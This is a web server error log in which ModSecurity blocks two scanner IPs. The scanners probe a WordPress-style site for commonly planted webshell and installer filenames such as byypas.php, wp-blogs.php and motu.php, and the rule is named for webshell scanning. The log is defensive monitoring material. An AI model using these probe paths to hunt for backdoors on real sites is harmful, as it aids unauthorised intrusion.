[Thu Mar 26 08:28:01.344097 2026] [:error] [pid 31670:tid 31683] [client 158.158.51.28:31448] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amp.php"] [unique_id "acR9kTXVthXxCnWjOTRZFQAAAUs"]
[Thu Mar 26 08:28:01.822720 2026] [:error] [pid 31670:tid 31694] [client 158.158.51.28:41829] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amp.php"] [unique_id "acR9kTXVthXxCnWjOTRZFgAAAVY"]
[Thu Mar 26 08:28:02.338319 2026] [:error] [pid 31670:tid 31678] [client 158.158.51.28:3037] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amp.php"] [unique_id "acR9kjXVthXxCnWjOTRZGAAAAUY"]
[Thu Mar 26 08:28:02.829997 2026] [:error] [pid 31780:tid 31820] [client 158.158.51.28:3017] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amp.php"] [unique_id "acR9kpJDwZsy5O4ZXEjAkAAAAgA"]
[Thu Mar 26 08:28:03.379895 2026] [:error] [pid 19712:tid 19788] [client 158.158.51.28:44820] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "acR9k9WhKhRNqm23vFPkmgAAAIw"]
[Thu Mar 26 08:28:03.860200 2026] [:error] [pid 31778:tid 31806] [client 158.158.51.28:41819] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "acR9kw3kybI2o-xasmBTNAAAAc0"]
[Thu Mar 26 08:28:04.399913 2026] [:error] [pid 31717:tid 31731] [client 158.158.51.28:3023] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "acR9lL-SCF7YDISDX499mgAAAYk"]
[Thu Mar 26 08:28:04.878331 2026] [:error] [pid 19710:tid 19730] [client 158.158.51.28:44857] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "acR9lAVEWP8Ar68Njk6xqwAAAAg"]
[Thu Mar 26 08:28:05.365219 2026] [:error] [pid 31780:tid 31826] [client 158.158.51.28:31463] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "acR9lZJDwZsy5O4ZXEjAkgAAAgY"]
[Thu Mar 26 08:28:05.872794 2026] [:error] [pid 31717:tid 31732] [client 158.158.51.28:31432] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "acR9lb-SCF7YDISDX499nAAAAYo"]
[Thu Mar 26 08:28:06.376609 2026] [:error] [pid 19818:tid 19841] [client 158.158.51.28:3019] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "acR9lszaSnm3d1BeM5WX8QAAANU"]
[Thu Mar 26 08:28:06.857731 2026] [:error] [pid 31778:tid 31798] [client 158.158.51.28:31481] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "acR9lg3kybI2o-xasmBTNwAAAcU"]
[Thu Mar 26 08:28:07.401438 2026] [:error] [pid 31670:tid 31677] [client 158.158.51.28:41814] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "acR9lzXVthXxCnWjOTRZIgAAAUU"]
[Thu Mar 26 08:28:07.938692 2026] [:error] [pid 31670:tid 31679] [client 158.158.51.28:31472] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "acR9lzXVthXxCnWjOTRZJQAAAUc"]
[Thu Mar 26 08:28:08.418418 2026] [:error] [pid 31778:tid 31800] [client 158.158.51.28:44847] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "acR9mA3kybI2o-xasmBTOQAAAcc"]
[Thu Mar 26 08:28:08.896512 2026] [:error] [pid 31780:tid 31825] [client 158.158.51.28:3036] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "acR9mJJDwZsy5O4ZXEjAmgAAAgU"]
[Thu Mar 26 08:28:09.375057 2026] [:error] [pid 31780:tid 31841] [client 158.158.51.28:3054] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "acR9mZJDwZsy5O4ZXEjAnAAAAhQ"]
[Thu Mar 26 09:52:54.758917 2026] [:error] [pid 31670:tid 31685] [client 154.74.174.28:62728] [client 154.74.174.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.74.174.28, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acSRdjXVthXxCnWjOTSILwAAAU0"]
[Thu Mar 26 09:52:54.771574 2026] [proxy_fcgi:error] [pid 31670:tid 31685] [client 154.74.174.28:62728] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:10:00.790579 2026] [proxy_fcgi:error] [pid 31670:tid 31691] [client 20.203.196.218:58928] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:10:01.030701 2026] [proxy_fcgi:error] [pid 31670:tid 31693] [client 20.203.196.218:58928] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:10:01.269966 2026] [proxy_fcgi:error] [pid 31670:tid 31688] [client 20.203.196.218:58928] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:10:01.635090 2026] [proxy_fcgi:error] [pid 31670:tid 31682] [client 20.203.196.218:58928] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:10:01.952075 2026] [proxy_fcgi:error] [pid 31670:tid 31686] [client 20.203.196.218:58928] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:10:02.193097 2026] [proxy_fcgi:error] [pid 31670:tid 31684] [client 20.203.196.218:58928] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:10:02.432618 2026] [proxy_fcgi:error] [pid 31670:tid 31696] [client 20.203.196.218:58928] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:10:04.508868 2026] [proxy_fcgi:error] [pid 31670:tid 31691] [client 20.203.196.218:58928] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:10:04.750851 2026] [proxy_fcgi:error] [pid 31670:tid 31693] [client 20.203.196.218:58928] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:10:04.992386 2026] [proxy_fcgi:error] [pid 31670:tid 31688] [client 20.203.196.218:58928] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:10:05.228605 2026] [:error] [pid 31670:tid 31685] [client 20.203.196.218:58928] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "acSjjTXVthXxCnWjOTSq8wAAAU0"]
[Thu Mar 26 11:10:05.799053 2026] [:error] [pid 31670:tid 31692] [client 20.203.196.218:1747] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "acSjjTXVthXxCnWjOTSq9AAAAVQ"]
[Thu Mar 26 11:10:06.641799 2026] [:error] [pid 31780:tid 31829] [client 20.203.196.218:53028] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "acSjjpJDwZsy5O4ZXEgBngAAAgg"]
[Thu Mar 26 11:10:07.587305 2026] [:error] [pid 19818:tid 19825] [client 20.203.196.218:59426] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "acSjj8zaSnm3d1BeM5XzHAAAAMU"]
[Thu Mar 26 11:10:13.370941 2026] [:error] [pid 31670:tid 31691] [client 20.203.196.218:1829] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "acSjlTXVthXxCnWjOTSq-QAAAVM"]
[Thu Mar 26 11:10:20.420074 2026] [:error] [pid 31717:tid 31738] [client 20.203.196.218:57464] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "acSjnL-SCF7YDISDX4-aPQAAAZA"]
[Thu Mar 26 11:10:22.118020 2026] [:error] [pid 31670:tid 31690] [client 20.203.196.218:58938] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "acSjnjXVthXxCnWjOTSrMAAAAVI"]
[Thu Mar 26 11:10:23.906049 2026] [:error] [pid 31780:tid 31837] [client 20.203.196.218:58910] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "acSjn5JDwZsy5O4ZXEgBvgAAAhA"]
[Thu Mar 26 11:10:25.142379 2026] [:error] [pid 19818:tid 19820] [client 20.203.196.218:53019] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "acSjoczaSnm3d1BeM5XzXgAAAMA"]
[Thu Mar 26 11:10:26.122564 2026] [:error] [pid 31670:tid 31685] [client 20.203.196.218:55759] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "acSjojXVthXxCnWjOTSrOAAAAU0"]
[Thu Mar 26 11:10:26.749252 2026] [:error] [pid 19818:tid 19837] [client 20.203.196.218:1743] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "acSjoszaSnm3d1BeM5XzZgAAANE"]
[Thu Mar 26 11:10:27.548115 2026] [:error] [pid 31670:tid 31689] [client 20.203.196.218:65181] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "acSjozXVthXxCnWjOTSrPQAAAVE"]
[Thu Mar 26 11:10:28.337072 2026] [:error] [pid 31670:tid 31680] [client 20.203.196.218:58933] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "acSjpDXVthXxCnWjOTSrPgAAAUg"]
[Thu Mar 26 11:10:29.061592 2026] [:error] [pid 19818:tid 19838] [client 20.203.196.218:58884] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "acSjpczaSnm3d1BeM5XzdQAAANI"]
[Thu Mar 26 11:10:29.839463 2026] [:error] [pid 19711:tid 19758] [client 20.203.196.218:65213] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "acSjpWj3l1y81GYfluRhqQAAAEk"]
[Thu Mar 26 11:10:31.112749 2026] [:error] [pid 31778:tid 31799] [client 20.203.196.218:1760] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "acSjpw3kybI2o-xasmCFnQAAAcY"]
[Thu Mar 26 11:10:31.810736 2026] [:error] [pid 60829:tid 60853] [client 20.203.196.218:59449] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "acSjp_TdjHKeZokybaRibAAAARY"]
[Thu Mar 26 11:10:32.585004 2026] [:error] [pid 19711:tid 19769] [client 20.203.196.218:1783] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "acSjqGj3l1y81GYfluRhqwAAAFQ"]
[Thu Mar 26 11:10:33.487319 2026] [:error] [pid 31717:tid 31737] [client 20.203.196.218:1824] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "acSjqb-SCF7YDISDX4-aRgAAAY8"]
[Thu Mar 26 11:10:35.382780 2026] [:error] [pid 31670:tid 31674] [client 20.203.196.218:1292] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "acSjqzXVthXxCnWjOTSrTAAAAUI"]
[Thu Mar 26 11:10:36.204679 2026] [:error] [pid 31778:tid 31806] [client 20.203.196.218:1291] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "acSjrA3kybI2o-xasmCFpwAAAc0"]
[Thu Mar 26 11:10:37.488748 2026] [:error] [pid 31670:tid 31679] [client 20.203.196.218:56358] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "acSjrTXVthXxCnWjOTSrUAAAAUc"]
[Thu Mar 26 11:10:38.750572 2026] [:error] [pid 31780:tid 31820] [client 20.203.196.218:65189] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "acSjrpJDwZsy5O4ZXEgBxgAAAgA"]
[Thu Mar 26 11:10:39.834597 2026] [:error] [pid 31780:tid 31825] [client 20.203.196.218:52995] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "acSjr5JDwZsy5O4ZXEgBxwAAAgU"]
[Thu Mar 26 11:10:41.394170 2026] [:error] [pid 19818:tid 19844] [client 20.203.196.218:57455] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "acSjsczaSnm3d1BeM5XzlQAAANg"]
[Thu Mar 26 11:10:42.833073 2026] [:error] [pid 31670:tid 31675] [client 20.203.196.218:56361] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "acSjsjXVthXxCnWjOTSrXgAAAUM"]
[Thu Mar 26 11:10:44.655153 2026] [:error] [pid 19818:tid 19827] [client 20.203.196.218:1789] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "acSjtMzaSnm3d1BeM5XzoQAAAMc"]
[Thu Mar 26 11:10:45.539299 2026] [:error] [pid 19711:tid 19773] [client 20.203.196.218:55784] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acSjtWj3l1y81GYfluRhugAAAFg"]
[Thu Mar 26 11:10:46.581868 2026] [:error] [pid 31670:tid 31685] [client 20.203.196.218:55797] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acSjtjXVthXxCnWjOTSraAAAAU0"]
[Thu Mar 26 11:10:48.531021 2026] [:error] [pid 31780:tid 31829] [client 20.203.196.218:58934] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acSjuJJDwZsy5O4ZXEgBywAAAgg"]
[Thu Mar 26 11:10:49.560482 2026] [:error] [pid 19818:tid 19827] [client 20.203.196.218:1317] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acSjuczaSnm3d1BeM5XzuQAAAMc"]
[Thu Mar 26 11:10:50.414610 2026] [:error] [pid 19710:tid 19743] [client 20.203.196.218:1768] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "acSjugVEWP8Ar68Njk7FkAAAABU"]
[Thu Mar 26 11:10:51.028074 2026] [:error] [pid 19818:tid 19821] [client 20.203.196.218:58892] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "acSju8zaSnm3d1BeM5XzvQAAAME"]
[Thu Mar 26 11:10:51.707005 2026] [:error] [pid 19712:tid 19789] [client 20.203.196.218:1765] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "acSju9WhKhRNqm23vFPzYQAAAI0"]
[Thu Mar 26 11:10:52.468949 2026] [:error] [pid 31780:tid 31840] [client 20.203.196.218:1836] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "acSjvJJDwZsy5O4ZXEgB1wAAAhM"]
